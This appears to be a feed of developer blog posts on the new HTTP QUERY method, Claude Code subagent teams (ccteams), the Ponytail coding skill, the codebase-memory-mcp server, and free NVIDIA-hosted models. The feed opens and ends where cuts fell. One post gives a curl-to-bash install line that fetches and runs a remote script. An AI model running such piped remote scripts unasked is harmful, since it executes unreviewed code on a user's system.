  body: JSON.stringify({
    category: 'shoes',
    maxPrice: 100,
    sort: 'price_asc'
  })
})
const data = await res.json()

The server runs the query and returns the result. Nothing changes on the server. The spec guarantees two things:

Safe. It does not modify state.
Idempotent. Sending it twice gives the same result as sending it once.

Those two guarantees are what everything below is built on.

This pattern is going to change

Look at almost any API in production today:

POST /search        <- reads data, says it writes
POST /reports/run   <- reads data, says it writes
POST /products      <- actually writes

Two of those three endpoints are lying. Here is where APIs are heading:

QUERY /search       <- reads
QUERY /reports      <- reads
POST  /products     <- writes

Not overnight. But the direction is clear. So the two questions that matter are: what works today, and how will our apps actually change.

Compatibility: where we are right now

The RFC is weeks old, so let's be honest about the current state.

The protocol side is already fine. HTTP does not have a fixed list of methods. QUERY is just a token in the request line. Any HTTP/1.1 or HTTP/2 connection can carry it today.

Servers. Nginx and Apache will pass QUERY requests through, but your config may need small tweaks. Anything that whitelists methods (limit_except, security rules, WAFs) needs QUERY added explicitly. This is where most early friction will live.

Frameworks. This is the real bottleneck. Your router needs to understand the method. Spring has a pull request in progress. Rails is discussing it. Express lets you handle custom methods with a bit of manual work. Expect native support to roll out across 2026 and 2027.

HTTP clients. Axios and fetch can already send arbitrary methods, so both of these work today:

// axios
axios.request({
  method: 'QUERY',
  url: '/api/products',
  data: { category: 'shoes', maxPrice: 100 }
})

// vanilla fetch
fetch('/api/products', {
  method: 'QUERY',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ category: 'shoes', maxPrice: 100 })
})

One detail worth knowing: axios ignores the body only on GET requests in browsers, because fetch and XHR do not allow it. For any other method, including QUERY, data becomes the request body without touching transformRequest.

The catch in browsers is CORS. QUERY is not a safelisted method like GET or POST, so cross-origin requests trigger a preflight. This applies to axios and fetch equally, since underneath it is the same mechanism. Your server has to answer the OPTIONS request with:

Access-Control-Allow-Methods: GET, POST, QUERY, OPTIONS

Same-origin requests need nothing. And in Node there is no CORS at all, so server-to-server QUERY calls work right now.

CDNs and proxies. Here is the interesting signal: the RFC was co-authored by engineers from Cloudflare and Akamai. CDN support may land before your framework ships it. That is not a coincidence. Caching is where QUERY pays off the most.

Discovery. The RFC also defines a response header, Accept-Query. A server uses it to announce that an endpoint supports QUERY and which formats it accepts. So clients and tools can detect support instead of guessing.

How our apps will change

This is the part I find more interesting than the spec itself. The migration is not just renaming a method. Some habits and workarounds simply stop making sense.

1. The fake POST endpoints disappear

Every /search, /filter, /reports endpoint that uses POST today is a QUERY endpoint waiting to happen. The body stays identical. Only the method changes:

// before
axios.post('/api/search', filters)

// after
axios.request({ method: 'QUERY', url: '/api/search', data: filters })

This will be the first and easiest migration in most codebases.

2. Retry logic gets simpler

Today, if a POST search times out, most clients do not retry. They can't. Maybe the server already processed it. So we write error screens and "try again" buttons.

With QUERY, clients and SDKs can retry automatically. The request is idempotent by contract. A whole category of defensive code in mobile apps and flaky-network handling gets thinner.

3. Caching layers move down the stack

Right now, caching a POST search means building it yourself. Redis, cache keys hashed from the body, invalidation logic. Application code.

With QUERY, the CDN can do it. Same body, same cached response, standard HTTP semantics. A lot of hand-rolled cache layers will quietly get deleted.

4. GraphQL gets a proper home

Every GraphQL query today travels over POST, even though almost all of them are pure reads. That is the most visible version of this problem. QUERY gives GraphQL correct semantics without touching the query language. Expect GraphQL clients and servers to adopt it early.

5. URLs get readable again

We have all seen this:

GET /products?filters=%7B%22category%22%3A%22shoes%22%7D&sort=price

JSON, URL-encoded, jammed into a query param because the framework offered nothing better. Those endpoints migrate to QUERY and the URL goes back to being just /products. Cleaner logs too. Query bodies do not end up in access logs and bookmarks the way URLs do.

6. Reading an API becomes self-documenting

When the method itself tells you if an endpoint reads or writes, documentation gets lighter and integration mistakes go down. New devs on your team stop asking "does this POST actually change anything?"

What I would do now

Nothing dramatic. But you can prepare:

Audit your API. List every POST endpoint that only reads. Those are your future QUERY endpoints.
Check your infra. WAFs, proxies and method whitelists that would block an unknown method.
Watch your framework's releases through 2026 and 2027.
If you control both client and server, nothing stops you from experimenting now with a small middleware.

Twenty years for a new HTTP method. The migration will take a while. The direction is already clear.

Use Fable 5 where it pays for itself

Yuiko Koyanagi — Thu, 02 Jul 2026 19:56:24 GMT

Claude Fable 5 is the model I reach for in Claude Code when a task is ambiguous, long-running, or full of tradeoffs — planning across steps, untangling a messy goal, weighing a design choice, keeping a long session pointed in the right direction. It's genuinely good at the hard parts.

Which is exactly why I stopped letting it do the easy ones. At $10 per million input tokens and $50 per million output — double Opus 4.8's $5 / $25 — spending it on boilerplate and lint fixes is like paying a principal engineer to reformat your imports. The work still needs doing. It just doesn't need that person doing it.

A Claude Code task is rarely one task. Take a one-liner like:

Add rate limiting to our API.

Sounds small. But it unfolds into work of very different weights:

deciding the algorithm — token bucket, sliding window, fixed window
choosing where the counter lives — in-memory, or Redis because we run multiple instances
thinking through what happens under a burst, and what a client sees on a 429
writing the middleware
wiring it into every route
writing the tests
fixing the lint and type errors
checking the edge cases — clock skew, the limiter itself failing, keys never expiring

The first three are real design decisions — the kind where a wrong call is expensive and annoying to unwind six months later. The rest is execution: careful work, but not work that rewards a frontier model over a merely-very-good one.

So I don't try to replace Fable 5. I just keep it on the decisions and hand everything else to something cheaper.

Make Fable 5 the lead, not the labor

Concretely, that means treating Fable 5 like a tech lead: it plans and delegates, and other models do the actual building.

Fable 5 = orchestrator — plans, decomposes, synthesizes. Writes no code.
Opus = deep reasoning subagent — architecture, complex debugging, review
Sonnet = mechanical work subagent — implementation, boilerplate, tests, chores
(Optionally) Codex = peer senior engineer — an independent second opinion from a different model family

Fable 5 thinks, delegates, and stitches the results together; the cheaper models handle work they're already good at. So the pricey model is only on the clock for the steps that actually reward its judgment.

The token savings were what I was after. What I didn't expect was the second effect: because Fable 5 never touches raw file contents or stack traces, its context stays clean, and it's still making sharp calls six hours into a session instead of drowning in half-finished edits.

I figured that was the whole setup — three quick steps. It wasn't.

The hard part is the subagents

On paper, it's three steps:

/model → Fable 5
Create subagents with /agents, pinned to Opus and Sonnet
Write routing rules in your CLAUDE.md — which work goes to whom

Step 1 takes ten seconds.

Steps 2 and 3 are where the actual work is. Creating a subagent is fast. Creating one that pulls its weight is not.

Three things I learned the hard way:

The description field decides who gets the work. The orchestrator picks a subagent by reading its description. "Use for reasoning-heavy tasks" is vague enough that the routing quietly drifts, and you don't notice until an answer comes back wrong.
The system prompt decides what comes back. Subagents can't see your conversation. If the prompt doesn't say what to read before acting and what to return — a conclusion, a diff, file:line findings — the orchestrator ends up cleaning up after them. Which is the one thing you were trying to avoid.
"Thinker" and "doer" is too few roles. It's a reasonable start. But real work splits into scoping, design, implementation, verification, and shipping. Collapse verification into the builder, and you have an agent reviewing its own code.

The decision that actually takes time, then, isn't picking models — it's writing a team of subagents whose roles are sharp enough that delegation just works. And that's a surprising amount of careful prose.

ccteams: install the team design in one command

This is the part I got tired of rewriting by hand, so I built a tool for it: ccteams, a package manager for Claude Code agent teams.

npm install -g ccteams
ccteams list           # see the teams
ccteams use generalist # apply one to the current project

That single command drops a full set of role-specialized subagents into .claude/ — descriptions, system prompts, tool restrictions, and a model: per agent already written — plus the orchestration rules that tell the lead session how to run them. Step 3 above (hand-writing routing rules in CLAUDE.md) ships in the box. So does the model assignment — more on that below.

Teams come stack-specific out of the box:

Team	What it's for
`generalist`	Stack-agnostic feature team: scope → design → build → QA → ship
`next-ts`	Next.js (App Router) + TypeScript + Tailwind
`go-api`	Go HTTP API backends
`python-fastapi`	FastAPI + Pydantic v2
`rails` / `django`	Rails / Django + DRF
`debug`	Reproduce → root-cause → minimal fix → regression test
`research`	Technical research that writes no code

Prefer staying inside Claude Code? There's a plugin:

/plugin marketplace add toffyui/ccteams
/plugin install ccteams@ccteams

Then /ccteams:choose-team something for backend API work picks and applies the right team from a natural-language description.

The models are already assigned

Here's the part I only got right recently: every bundled agent already ships with a model: in its frontmatter, assigned by how much reasoning the role needs. You don't add anything. ccteams use generalist lands this:

Agent	Role	Model (preset)
(main session)	Orchestrator	Fable 5 — you pick this with `/model`
`scope-planner`	Cut scope, pin down requirements	`opus`
`architect`	Design decisions	`opus`
`builder`	Implementation, boilerplate, tests	`sonnet`
`qa-reviewer`	Verification, edge-case hunting	`opus`
`shipper`	Commits, CI, chores	`sonnet`

Open any agent file and the line is right there:

---
name: architect
description: Technical design specialist. ...
tools: Read, Glob, Grep, WebSearch, WebFetch
model: opus        # ← already set by ccteams
---

The one model ccteams doesn't touch is the lead session's — that's yours to pick with /model (Fable 5). Everything below it is pinned.

The split is similar to the usual “thinker / doer” setup, but the extra roles matter. Once the work is separated into scoping, design, building, review, and shipping, delegation gets much more precise — and the model choice becomes part of the role instead of a judgment the orchestrator has to remake every time.

The important detail is that I do not assign Fable 5 to roles like architect or qa-reviewer.

That can look backwards at first. If planning and review are the important parts, why not put the best model there too? Because by the time a task reaches those agents, Fable 5 has already done the hardest part: turning an ambiguous user request into a clear, bounded problem that another model can solve.

That is where Fable 5 earns its keep — ambiguous, long-running work full of tradeoffs. Once the question is clearly framed, Opus is usually more than enough to propose a design or review a fix. And those agents still do not get the final say. They propose; Fable 5 decides what to accept.

So Fable 5 keeps control of the core judgment without spending tokens on every intermediate role. The setup does require good orchestration rules and agent prompts, but that is exactly what ccteams installs for you.

Adding Codex as the peer engineer

OpenAI's official Codex plugin lets you call Codex from inside Claude Code (install the Codex CLI on your machine first):

/plugin marketplace add openai/codex-plugin-cc
/plugin install codex@openai-codex
/reload-plugins
/codex:setup

Then add one paragraph to your project's CLAUDE.md (below the @.claude/active-team.md import that ccteams creates):

## Peer engineer
Codex (/codex:rescue --background) is a peer senior engineer with a different
perspective. For high-stakes decisions, task the architect agent and Codex on
the same problem in parallel and synthesize — without showing either the
other's answer.

The point is to use Codex as a peer rather than a rubber-stamp reviewer. On a high-stakes call, I give the same problem to the Opus-pinned architect and to Codex at the same time, neither seeing the other's answer, and let Fable 5 reconcile the two. You get the most out of this when the two models come from different lineages — Opus and Codex were trained differently enough that they tend to miss different things, so one often catches what the other glossed over.

Back to "add rate limiting"

Remember that one-liner from the top? Here's the whole prompt I use:

Add rate limiting to our API.
Context: Express + Redis, deployed as 3 instances behind a load balancer.

I just state the goal. Claude Code routes the rest on its own — it matches the task against each agent's description and delegates automatically, so Fable 5 sends the algorithm-and-storage question to architect, the implementation to builder, the edge cases to qa-reviewer, without me naming any of them.

And because each agent's model is pinned in its frontmatter, that routing decision is the model decision. The moment architect is chosen, the design call runs on Opus, where being wrong is expensive; builder's middleware and tests run on Sonnet. Fable 5 plans and synthesizes on a clean context and writes no code itself — so the priciest model in the room is billed only for the judgment that actually needed it.

That was the goal all along: not to spend less on Fable 5, but to spend it only where it pays for itself.

In short

Fable 5 is worth its price on judgment — planning, design, review — and wasteful on everything else
The hard part of this setup isn't picking models, it's designing the team that surrounds them
ccteams installs a considered team in one command — orchestration rules and a per-agent model: preset included, so the Fable-lead / Opus-reason / Sonnet-build split is live the moment you apply it
Pick your lead model with /model, restart Claude Code, and you're done — repin any agent's model: line if you want a different split

If this saves you some setup, a star on the repo is the nicest way to say so — and if the presets don't match how you'd split the work, open an issue and tell me 🙌

The new HTTP method : QUERY

Tykok — Sun, 28 Jun 2026 15:54:11 GMT

You work with REST APIs? You know GET, POST, PUT, DELETE...

But did you know that a new HTTP method was standardized in June 2026? It's called QUERY and it solves a problem developers have been working around for 16 years.

It's the first new standard HTTP method since PATCH (2010). Yes, you read that right: 16 years without major innovation in HTTP verbs.

The `GET` Method Problem

You want to create an endpoint to retrieve order information from your backend and add filters. You use a GET method for this endpoint because you're retrieving a resource and it’s the REST standards.

You add different parameters to the URL to filter results and return only orders that match your search:

GET /orders?select=surname,givenname,email&limit=10&match="email=*@example.*"

Problems:

URLs have size limits (often 8000 characters max)
Parameters are visible in logs (security issue)
Impossible to make complex queries (advanced filters, SQL queries, JSONPath)
Complex to encode correctly

What About Using `POST` instead?

To address the different problems with GET requests, you might turn to a POST request:

POST /orders HTTP/1.1
Host: api.example.org
Content-Type: application/x-www-form-urlencoded

select=surname,givenname,email&limit=10&match="email=*@example.*"

Problems:

POST is not idempotent → if the network drops, you can't safely replay the request
No standard HTTP caching
Proxies don't know if it's safe to reject/retry
Each framework implements its own "safe POST" system

The Solution: `QUERY`

QUERY gives you the best of both worlds:

QUERY /orders HTTP/1.1
Host: api.example.org
Content-Type: application/x-www-form-urlencoded
Accept: application/json

select=surname,givenname,email&limit=10&match="email=*@example.*"

Advantages:

No URL size limit – The request body can contain SQL queries, JSONPath, or complex filters of unlimited size
Idempotent – Execute the request 10 times = execute it once

What is Idempotence?

An operation is idempotent if calling it multiple times produces the same result as calling it once.

Concrete examples:

✅ GET /users/123 (idempotent) → 1 call = 10 calls = same data

✅ QUERY /users (idempotent) → replaying = same result

❌ POST /users (NOT idempotent) → 1 call creates 1 user, 2 calls create 2 users

Why is this crucial? If the network drops, you can safely replay without creating duplicates or corruption.

Cacheable – Proxies, CDNs, browsers can cache the response (like GET)
Request body – Send complex data in the body (like POST), not in the URL
Safe – Never modifies server state (read-only)
Safely replayable – If the network drops, you can replay the request with confidence
URI for the request – The server can create a permanent URL to replay the same request

URI for the Request vs. URI for the Result

With classic POST (URI of result):
POST /orders → 200 OK

Content-Location: /results/xyz789
With QUERY (URI of the request):
QUERY /orders → 200 OK

Location: /saved-queries/42
The magic: Replaying /saved-queries/42 re-executes the same SQL/JSONPath query with updated data.

Concretely:
# Later...

GET /saved-queries/42

# → The server re-executes the original SQL query

# → You get fresh results

What's it useful for:

Share a query (send the link to a colleague)
Bookmark a search
Cache the query (not just the results)
Replay periodically without resending the body each time

Thanks to QUERY, we finally have functional HTTP caching for complex requests. Proxies, CDNs, and browsers can now cache requests with a body. This is huge for performance.

We also get an evolution in REST API design. Instead of:

GET /api/users/active
GET /api/users/inactive
GET /api/users/premium

You now have:

QUERY /api/users

With a single endpoint, it's easier to maintain, secure, and monitor.

Summary: GET vs POST vs QUERY

Feature	GET	POST	QUERY
Safe	✅ Yes	❌ No	✅ Yes
Idempotent	✅ Yes	❌ No	✅ Yes
Body allowed	❌ No	✅ Yes	✅ Yes
Cacheable	✅ Yes	⚠️ Complex	✅ Yes
Safely replayable	✅ Yes	❌ Risky	✅ Yes
URI for the request	✅ By default	❌ No	✅ Optional

Conclusion

QUERY finally gives us a solution for executing complex requests. It's a "small" change with a big impact. This new method solves a real problem that developers have been working around for years.

Moreover, this method was just standardized recently (June 2026), so it will take a while before it's truly adopted.

⚠️ Deployment Status

✅ Standardized: RFC 10008 (June 2026)
⏳ Implementation: Very few servers/clients support it yet
🚀 Timeline for adoption: Probably 2027-2028

Before using it in production, wait for implementations to become more widespread. For now, it's mainly important to understand the concept and keep it in mind for your future API architecture.

Next Step: QUERY in Practice

This article covers the theory and key concepts of QUERY. But how do you use it practically?

In a future article, I'll explore practical implementation of QUERY with a REST API, showing how to build a REST API that supports this new HTTP method and how to integrate it into a real-world architecture.

Stay tuned! 🚀

Ponytail: The AI Coding Skill Taking GitHub by Storm — And the One Question Nobody's Answered Yet

Yash Desai — Thu, 25 Jun 2026 05:29:08 GMT

If you've been anywhere near GitHub or the AI coding community in the last two weeks, you've probably seen the name Ponytail pop up. It hit ~44,000 stars in under 9 days, trended #2 on GitHub, got cited by Chinese tech press, and sparked full-blown debates on Hacker News and Reddit.

So what is it? Is it actually useful? And — more importantly — does it hold up in a real project with a design system already in place?

Let's dig in.

The Archetype That Started It All

You know the guy. Long ponytail. Oval glasses. Has been at the company longer than version control. You show him fifty lines of code. He looks at them, says nothing, and replaces them with one.

That's the character Ponytail is named after — and the character it tries to inject into your AI agent.

The project, created by DietrichGebert on GitHub, is a plugin/skill for AI coding agents (Claude Code, Codex, GitHub Copilot CLI, Cursor, Windsurf, OpenCode, Gemini CLI, and 8 more). It works by injecting a "lazy senior developer" ruleset into the agent's context at session start, forcing the agent to stop and think before writing a single line of code.

The Decision Ladder

At the heart of Ponytail is what it calls the ladder — a sequence of questions the agent must climb before producing any code:

Does this need to exist at all? → No: skip it (YAGNI)
Already in this codebase? → Reuse it, don't rewrite it
Stdlib does it? → Use it
Native platform feature covers it? → Use it
Already-installed dependency solves it? → Use it
Can it be one line? → One line
Only then: the minimum code that works

The ladder is designed to run after the agent understands the problem — not instead of reading the codebase. Lazy about the solution, never about reading.

The Example That Made It Click for Everyone

You ask your AI agent to add a date picker.

Without Ponytail:

npm install flatpickr

Then a wrapper component. Then a stylesheet. Then a discussion about timezones. 404 lines later, you have a date picker.

With Ponytail:

<!-- ponytail: browser has one -->
<input type="date">

Done. 404 lines → 23. The browser has had native date input for over a decade.

This is exactly the kind of over-build trap that makes developers frustrated with AI agents. The agent is trying to be helpful, and "helpful" translates to: install a library, build an abstraction, add configuration, write documentation for code nobody asked for.

The Numbers (And Why They're Credible)

Most AI tool benchmarks are marketing. Ponytail's are unusually honest — partly because a community critic forced them to be.

The original benchmark was single-shot: one prompt, one completion, count the lines. Colin Eberhardt (Scott Logic) called this out fairly: the baseline model was chatty and padded answers with prose, so comparing line counts inflated the gap. He also tested whether simply saying "Follow YAGNI principles, and prefer one-liner solutions" (7 words) matched Ponytail's score. It nearly did.

The author responded positively — rebuilt the entire benchmark as a real agentic test:

Engine: Claude Code headless (claude -p), not a bare API model
Repo: tiangolo/full-stack-fastapi-template — a real, popular FastAPI + React codebase, publicly pinned so anyone can reproduce
Arms: baseline (no skill) · ponytail · caveman (terse-prose control) · Colin's own 7-word YAGNI prompt
Metric: git diff added lines — not the whole answer, just what the agent actually committed

They also caught and disclosed a contamination bug in an earlier agentic run where Ponytail's SessionStart hook was firing on the baseline arm too (making the baseline secretly run Ponytail). They fixed it and published it anyway. That kind of transparency is rare.

The corrected, honest numbers (Haiku 4.5, 12 tasks):

vs no-skill baseline	LOC	tokens	cost	time	safe
ponytail	-54%	-22%	-20%	-27%	100%
caveman (terse-prose)	-20%	+7%	+3%	+2%	100%
"YAGNI + one-liners"	-33%	-14%	-21%	-30%	95%

Ponytail is the only arm that cuts every metric. The safety result matters: the 7-word YAGNI prompt dropped a path-traversal guard in one of the adversarial tests. Ponytail kept it. "Never simplify away input validation at trust boundaries" is a hard rule in the skill.

The gains are biggest where there's a real over-build trap — date picker went from 404 to 23 lines, color picker from 287 to 23, because the agent reached for <input type="date"> and <input type="color"> instead of component libraries. On already-minimal backend CRUD code, the difference was near zero.

They also tested it on a local llama3.2 (3B) model. Result was noise — one run 17% under baseline, the next 50% over. They published that too instead of burying it. Worth noting: Ponytail is tuned for frontier models that actually follow instructions.

How It Actually Works (Technically)

Ponytail is not magic — it's a portable ruleset delivered differently per agent host:

Claude Code / Codex: Two Node.js lifecycle hooks — SessionStart injects the ruleset into every session, UserPromptSubmit tracks mode changes (/ponytail lite|full|ultra)
OpenCode: An ES module plugin that appends the ruleset to the system prompt on every turn via experimental.chat.system.transform
Gemini CLI / Antigravity CLI: A gemini-extension.json that loads the rules and registers commands
Cursor, Windsurf, Cline, Kiro: Plain rules files you copy into your project (.cursor/rules/, .windsurf/rules/, etc.)
MCP server: A standalone ponytail-mcp package exposing the ruleset as both a prompt and a tool for any MCP-compatible host

The instruction set itself lives in skills/ponytail/SKILL.md — the canonical source of truth. Every adapter reads from this single file via a shared instruction builder, so Claude Code, Codex, OpenCode, and the Pi agent harness all get identical rules. A check-rule-copies.js script in CI fails if any adapter's copy drifts from the canonical.

Three intensity levels:

lite: Suggests the lazier alternative but lets you decide
full (default): Enforces the ladder. Stdlib and native first.
ultra: YAGNI extremist. Deletion before addition. Challenges the requirement in the same breath as the code.

What the Community Is Actually Saying

Hacker News reaction was split. On one side, enthusiasts immediately resonated — the date picker example is a shared pain point. On the other, skeptics noted the irony:

"Oh the irony of this giant repo for a prompt. Is this the new leftpad?" — HN user 9NRtKyP4

"The whole thing is essentially just these rules, and a metric ton of boilerplate for specific plugin systems." — HN user donatj

Both fair. The core skill is ~100 lines of Markdown. The rest of the repo is multi-agent adapter infrastructure.

Scott Logic's Colin Eberhardt wrote the most technically rigorous critique, raising four points: the benchmark baseline was chatty, safety wasn't measured, a short prompt might do the same job, and single-shot benchmarks don't reflect real agent usage. All four were addressed in the rebuilt benchmark. He acknowledged this publicly on LinkedIn.

Security/DevOps reviewer Mehdi Rahmani ran a hands-on test and gave an honest ground-level verdict:

"Ponytail is still an instruction layer. If your agent ignores context, if your host doesn't load skills, or if your model has poor code discipline, Ponytail won't magically fix any of that. It raises the probability of keeping things simple, but it doesn't replace a proper technical review."

He also called out the genuinely useful thing it does: formalizes a hygiene that many teams ask for without ever writing it down — delete before adding, prefer native solutions, reject speculative abstractions.

The Question Nobody Has Answered Yet

Here's the concern that surfaced on Hacker News and hasn't been properly addressed.

Ponytail's most dramatic wins come from the date picker example — native <input type="date"> instead of a flatpickr wrapper. Rung 4 of the ladder: "native platform feature covers it."

But what if your project already has shadcn/ui and Tailwind CSS installed?

Now rung 5 applies: "already-installed dependency solves it." The correct answer is <DatePicker /> from shadcn — not <input type="date">, which breaks your design system, and definitely not flatpickr.

HN user wiradikusuma raised exactly this:

"Real senior developers can do that because they have experience and can put that in context. E.g. <input type="date"> maybe fine for one scenario, but we might need a fancier one for another. I wonder if the skill takes PRD or the surrounding code into context to better emulate those developers?"

The ladder theoretically handles it — rung 5 sits above rung 4, so an installed design system should win over native browser elements. But the benchmark was run on tiangolo/full-stack-fastapi-template, which has no shadcn, no component library. The "native input wins" result was correct for that repo. What happens in a project with an established design system is untested.

In practice, whether Ponytail makes the right call here depends entirely on whether the agent actually reads package.json and your existing component files before picking a rung. The skill says "read the code it touches first, trace the real flow end to end, then climb" — but instruction-following is probabilistic, not guaranteed.

The fix, if you run into this, is straightforward: add a project-level rule to your AGENTS.md or .cursor/rules/ explicitly stating your design system. Something like:

UI components: always use shadcn/ui. Never use native HTML inputs in isolation when a styled component exists.

Ponytail layered with project-specific constraints is more reliable than Ponytail alone in a mature codebase.

Should You Install It?

Yes, if:

You use Claude Code, OpenCode, Codex, or Gemini CLI daily
Your agents regularly over-build — installing libraries for problems the stdlib already solves, generating 4 variants of a component when 1 was asked for
You're on API billing and token cost matters to you
You work on greenfield projects or backend code

With caveats, if:

Your project has an established design system (shadcn, MUI, Chakra, etc.) — pair it with explicit project rules
You use smaller local models (sub-7B) — the skill needs a model that actually follows instructions

Not a replacement for:

Code review
Project-specific conventions in your AGENTS.md
Your own judgment when the agent picks the wrong rung

Installation (Claude Code)

/plugin marketplace add DietrichGebert/ponytail
/plugin install ponytail@ponytail

For OpenCode, add to opencode.json:

{ "plugin": ["@dietrichgebert/ponytail"] }

For Cursor/Windsurf/Cline — copy the matching rules file from the repo into your project's rules directory.

Final Thought

Ponytail's viral growth isn't really about the code — it's about the frustration it names. Every developer who has watched an AI agent install a npm package to do something the browser has done natively since 2014 immediately got the date picker example. That recognition is what drove 44k stars in 9 days.

The skill itself is ~100 lines of Markdown and some adapter plumbing. That's not a criticism — it's a reminder that the best constraints are simple ones, applied consistently.

The unsolved design system problem is real and worth watching. If a future version of Ponytail learns to read and respect a project's installed component library automatically — not just check package.json exists, but actually understand what the installed library provides — that would make it genuinely production-safe across all project types.

Until then: install it, pair it with your own project rules, and keep reviewing.

By Yash Desai | AI Infrastructure & Fullstack Engineering | yashddesai.com

The repo: github.com/DietrichGebert/ponytail

Credits & sources:

Scott Logic / Colin Eberhardt — Ponytail? YAGNI! (blog.scottlogic.com)
Mehdi Rahmani — Ponytail: I tested it, my verdict with zero hype (mehdirahmani.fr)
AlphaMatch — Ponytail: The AI Coding Skill That Saves Tokens (alphamatch.ai)
Hacker News thread — item?id=48527946
Ponytail agentic benchmark — 2026-06-18-agentic.md

Stop Making Your AI Coding Agent Grep Your Whole Repo — Try codebase-memory-mcp

ArshTechPro — Sat, 20 Jun 2026 22:01:23 GMT

If you use an AI coding agent — Claude Code, Codex CLI, Gemini CLI, Cursor, Zed, Aider, whatever — you've probably watched it burn through tens of thousands of tokens just trying to figure out who calls a function or where a route is defined. It greps, it reads files, it greps again, it reads more files. Eventually it answers your question, but it took a small forest of tokens and several tool calls to do it.

codebase-memory-mcp is an open-source MCP server built to fix exactly that. It indexes your codebase into a persistent knowledge graph — functions, classes, call chains, HTTP routes, cross-service links — and lets your agent ask structural questions directly instead of reading its way through the filesystem.

Here's what's actually in it for you.

The pitch in one paragraph

You install a single static binary. You tell your agent "index this project." A few seconds to a few minutes later (yes, even the Linux kernel — 28 million lines of code — takes about 3 minutes), your agent can ask things like "what calls ProcessOrder?" or "show me the architecture of this service" and get an answer in under a millisecond, instead of grepping and reading dozens of files. No Docker, no API keys, no separate database to run. It's just a binary that talks MCP.

Why this matters: the token math

This is the number that should get your attention. According to the project's own benchmarks, five typical structural queries cost roughly 3,400 tokens through codebase-memory-mcp, versus about 412,000 tokens doing the equivalent file-by-file grep-and-read exploration. That's a 99 percent reduction. Less context burned on exploration means more budget left for the agent to actually reason about your problem — and a noticeably faster, cheaper session.

What it actually does

At its core, codebase-memory-mcp is a structural analysis backend, not another LLM wrapper. It parses your code with tree-sitter, builds a graph of how everything connects, and exposes that graph through 14 MCP tools. Your agent is still the brain — it just stops having to rediscover your codebase from scratch every session.

A typical interaction looks like this:

You: "what calls ProcessOrder?"
Agent calls: trace_call_path(function_name="ProcessOrder", direction="inbound")
codebase-memory-mcp: executes the graph query, returns structured results
Agent: presents the call chain in plain English

No extra LLM, no extra API key, no extra cost layer — the agent you're already paying for does the translation from natural language to graph query.

The features that actually matter day to day

It's fast, even on huge repos. RAM-first indexing pipeline (LZ4 compression, in-memory SQLite, single dump at the end). Benchmarked on an Apple M3 Pro, the Linux kernel indexes in about 3 minutes; a mid-sized project like Django takes around 6 seconds. Memory is released back to the OS once indexing finishes.

It speaks 155 languages. Tree-sitter grammars for all of them are vendored directly into the binary, so there's nothing extra to install. Go, C, C++, and the TypeScript/JavaScript/JSX/TSX family additionally get LSP-style hybrid type resolution — proper parameter binding, return-type inference, generic substitution, and JSDoc inference for plain JS files.

It plugs into 11 coding agents automatically. Running the installer auto-detects Claude Code, Codex CLI, Gemini CLI, Zed, OpenCode, Antigravity, Aider, KiloCode, VS Code, OpenClaw, and Kiro, and configures MCP entries, instruction files, and hooks for whichever ones you have installed.

It understands more than just application code. Dockerfiles, Kubernetes manifests, and Kustomize overlays get indexed as graph nodes too, with cross-references between them — useful if your agent needs to reason about infrastructure as well as application logic.

It finds dead code, traces blast radius, and detects near-duplicates. Beyond simple search, there's Louvain community detection for discovering functional modules, git-diff impact mapping that classifies risk for uncommitted changes, dead code detection (excluding entry points), and MinHash-based near-clone detection.

It can visualize the graph. An optional UI binary variant ships a built-in 3D graph visualization you can open in a browser at localhost:9749, running alongside the MCP server as a background thread.

Your team doesn't all have to reindex separately. A .codebase-memory/graph.db.zst artifact can be committed alongside your source — a zstd-compressed snapshot of the graph. When a teammate clones the repo and runs the indexer for the first time, it imports that snapshot and only does an incremental diff locally, instead of a full reindex. It's entirely optional and gitignore-friendly if you'd rather everyone start fresh.

Getting started

The one-line install on macOS or Linux:

curl -fsSL https://raw.githubusercontent.com/DeusData/codebase-memory-mcp/main/install.sh | bash

Add -s -- --ui on the end if you want the graph visualization included.

On Windows, download install.ps1 and run it from PowerShell. There's also a manual route if you'd rather inspect everything first: download the platform-specific archive from the latest release, extract it, and run the bundled install script.

Once installed, restart your coding agent and just say:

"Index this project"

That's the entire setup. If you want indexing to happen automatically whenever you open a new project, turn on auto-index:

codebase-memory-mcp config set auto_index true

After the initial index, a background watcher keeps the graph in sync with your git changes, so you're not manually re-indexing every time you commit.

What you get to ask it

Once a project is indexed, here's a sample of what's available through the 14 MCP tools:

search_graph — structured search by label, name pattern, file pattern, or degree filters
trace_call_path — BFS traversal showing what calls a function and what it calls, up to depth 5
get_architecture — a one-call overview of languages, packages, entry points, routes, hotspots, and clusters
detect_changes — maps your current git diff to the symbols it affects, with risk classification
query_graph — Cypher-like queries, e.g. MATCH (f:Function)-[:CALLS]->(g) WHERE f.name = 'main' RETURN g.name
semantic_query — vector search over the whole graph using bundled embeddings, no API key required
manage_adr — CRUD operations for Architecture Decision Records, so design decisions persist across sessions
get_code_snippet, search_code, ingest_traces, and several more

Everything is also callable directly from the command line if you want to script against it:

codebase-memory-mcp cli search_graph '{"name_pattern": ".*Handler.*", "label": "Function"}'
codebase-memory-mcp cli trace_call_path '{"function_name": "Search", "direction": "both"}'

On trust and security

Reasonable question to ask of any tool that reads your entire codebase: every release binary is scanned by 70+ antivirus engines on VirusTotal before publishing, carries SLSA Level 3 build provenance you can verify with gh attestation verify, is signed with Sigstore cosign, and ships SHA-256 checksums. There are zero runtime dependencies — every library is vendored at compile time, so there's no transitive supply chain to worry about. All processing happens locally; your code doesn't leave your machine.

Should you use it?

If your agent sessions are eating context on repetitive file exploration, or you work in a large monorepo where "where is this used" is a constant question, this is a low-effort, high-leverage addition to your setup. It's a single binary, the install is one command, and the worst case is you uninstall it and you're back where you started — codebase-memory-mcp uninstall cleanly removes configs, hooks, and instructions without touching your binary or databases.

Repo's here if you want to dig in further or check the source before running it: github.com/DeusData/codebase-memory-mcp

Stop Paying $20/month. Use NVIDIA Build: 80+ Free AI Models

Lorenzo Zarantonello — Wed, 17 Jun 2026 10:08:29 GMT

This is a TLDR of a longer article where I tried multiple free AI models on Cursor and VS Code, through Cline.

The service is called NVIDIA NIM e.g. NVIDIA Inference Microservices.
It lives at build.nvidia.com.

The catalog contains over 100 AI models, many of them free and hosted on NVIDIA's own DGX Cloud infrastructure. The list includes names you already know:

MiniMax,
Kimi,
DeepSeek,
GLM,
GPT-OSS, and more.

Get Your Free API Key

Just go to build.nvidia.com and create a free account. You'll need to verify your email and possibly your phone number.

Once you're in, navigate to your account settings and generate an API key. Save it, because you only see it once. It looks like this:

